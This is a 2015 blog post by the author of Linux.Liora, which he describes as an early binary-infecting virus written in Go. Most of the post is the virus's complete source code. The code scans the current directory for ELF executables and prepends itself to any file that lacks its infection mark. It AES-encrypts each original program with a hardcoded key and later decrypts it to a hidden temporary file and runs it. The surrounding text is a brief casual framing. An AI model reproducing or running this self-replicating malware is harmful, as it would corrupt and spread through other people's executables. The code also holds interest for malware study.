Linux.Liora: a Go virus

guitmz.com/linux-liora

Guilherme Thomazi May 15, 2015

4 minute read Published: 15 May, 2015

> Simple prepender virus written in GoLang

So this guy asks me in a job interview last week “Have you ever developed in Go?” and well what’s best to learn a language than writting a prepender (probably a lot of things but don’t kill my thrill)?

There you have it, the *probably* first ever binary infector written in GoLang (SPTH LIP hxxp://spth.virii.lu/LIP.html “outdately” confirms that - replace hxxp with http, this website is wrongly classified as malicious for some security tools).

Basically a port from my Linux.Zariche ‘cause my life is in a hurry. I need some time in now to improve those beauties.

Here’s the virus source code (https://github.com/guitmz/go-liora):

```
/*
* Linux.Liora - This is a POC ELF prepender written in Go by TMZ (2015).
* It is probably the first binary infector ever written in this language, that's
cool.
* The above affirmation is based on SPTH LIP page: http://spth.virii.lu/LIP.html
*
* Linux.Liora (May 2015) - Simple binary infector in GoLang (prepender).
* This version encrypts the host code with AES and decrypts it at runtime.
* It's almost a direct port from my Vala infector Linux.Zariche.B.
*
* Compile with: go build -i liora.go (where go >= 1.4.2)
* It has no external dependencies so it should compile under most systems (x86 and
x86_64).
* It's also possible to easly adapt it to be a PE infector and compile under Windows.
*
* Use at your own risk, I'm not responsible for any damages that this may cause.
*
* A shout for those who keeps the scene alive: herm1t, alcopaul, hh86, SPTH, genetix,
R3s1stanc3 & others
*
* Feel free to email me: tmz@null.net || You can also find me at http://vxheaven.org/
and on Twitter @TMZvx
*
* http://vx.thomazi.me
*/

package main

import (
    "bufio"
    "io/ioutil"
    "os"
    "os/exec"
    "strings"
    "crypto/aes"
    "crypto/cipher"
    "math/rand"
    "time"

)

func check(e error) {
    // Reading files requires checking most calls for errors.
    // This helper will streamline our error checks below.
    if e != nil {
        panic(e)
    }
}

func CheckELF(file string) bool {

    f, err := os.Open(file)
    check(err)
    bytes := make([]byte, 4) //read the magic number
    f.Read(bytes)
```

```
    f.Close()

    //check if is an ELF
    if strings.Contains(string(bytes), "ELF"){
        return true
    } else {
        return false
    }

}

func CheckInfected(file string) bool {

    _mark := "=TMZ=" //infection mark
        fi, err := os.Open(file)
        check(err)
        myStat, err := fi.Stat()
        check(err)
        size := myStat.Size()

        buf := make([]byte, size)
        fi.Read(buf)
        fi.Close()
        var x int64
        for x = 1; x < size; x++ {
        if buf[x] == _mark[0] {
                        var y int64
            for y = 1; y < int64(len(_mark)); y++ {
                if (x + y) >= size {
                        break
                                        }
                    if buf[x + y] != _mark[y] {
                            break
                                        }
                }
                if y == int64(len(_mark)) {
                    return true; //infected!
                }
                        }
                }
    return false; //not infected

}

func Infect(file string) {

        dat, err := ioutil.ReadFile(file) //read host
        check(err)
        vir, err := os.Open(os.Args[0]) //read virus
        check(err)
        virbuf := make([]byte, 1666208)
        vir.Read(virbuf)

        encDat := Encrypt(dat) //encrypt host
```

```
        f, err := os.OpenFile(file, os.O_RDWR, 0666) //open host
        check(err)

        w := bufio.NewWriter(f)
        w.Write(virbuf) //write virus
        w.Write(encDat) //write encypted host
        w.Flush() //make sure we are all set
        f.Close()
        vir.Close()
}

func RunHost() {

    hostbytes := "." + Rnd(8) //generate hidden random name

    h, err := os.Create(hostbytes) //create tmp with above name
    check(err)

    infected_data, err := ioutil.ReadFile(os.Args[0]) //Read myself
    check(err)
    allSZ := len(infected_data) //get file full size
    hostSZ := allSZ - 1666208 //calculate host size

    f, err := os.Open(os.Args[0]) //open host
    check(err)

    f.Seek(1666208, os.SEEK_SET) //go to host start

    hostBuf := make([]byte, hostSZ)
    f.Read(hostBuf) //read it

    plainHost := Decrypt(hostBuf) //decrypt host

    w := bufio.NewWriter(h)
    w.Write(plainHost) //write plain host to tmp file
    w.Flush() //make sure we are all set
    h.Close()
    f.Close()

    os.Chmod(hostbytes, 0755) //give it proper permissions
    out, err := exec.Command("./" + hostbytes).Output()
    check(err)
    print(string(out))
    os.Remove(hostbytes)
}

func Encrypt(toEnc []byte) []byte {

    key := "SUPER_SECRET_KEY" // 16 bytes!
    block,err := aes.NewCipher([]byte(key))
    check(err)

    // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
    ciphertext := []byte("ASUPER_SECRET_IV")
    iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
```

```
    encrypter := cipher.NewCFBEncrypter(block, iv)

    encrypted := make([]byte, len(toEnc))
    encrypter.XORKeyStream(encrypted, toEnc)

    //fmt.Printf("%s encrypted to %v\n", toEnc, encrypted)
    return encrypted

}

func Decrypt(toDec []byte) []byte {

    key := "SUPER_SECRET_KEY" // 16 bytes
    block,err := aes.NewCipher([]byte(key))
    check(err)

    // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
    ciphertext := []byte("ASUPER_SECRET_IV")
    iv := ciphertext[:aes.BlockSize] // const BlockSize = 16

    decrypter := cipher.NewCFBDecrypter(block, iv) // simple

    decrypted := make([]byte, len(toDec))
    decrypter.XORKeyStream(decrypted, toDec)

    return decrypted
}

func Rnd(n int) string {

    rand.Seed(time.Now().UTC().UnixNano())
    var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
    b := make([]rune, n)
    for i := range b {
        b[i] = letters[rand.Intn(len(letters))]
    }
    return string(b)

}

func GetSz(file string) int64 {

    myHnd, err := os.Open(file)
    check(err)
    defer myHnd.Close()
    myStat, err := myHnd.Stat()
    check(err)
    mySZ := myStat.Size()
    myHnd.Close()
    return mySZ
}

func main() {
```

```
    virPath := os.Args[0]

        files, _ := ioutil.ReadDir(".")
        for _, f := range files {
                if CheckELF(f.Name()) == true {
                        if CheckInfected(f.Name()) == false {
                                if !strings.Contains(virPath, f.Name()) {
                                        Infect(f.Name())
                                }
                        }
                }
        }


    if GetSz(os.Args[0]) > 1666208 {
        RunHost()
    } else {
        os.Exit(0)
    }

}
```

Simple enough! Go is a quite fun language, I'll keep it in mind for future projects.

TMZ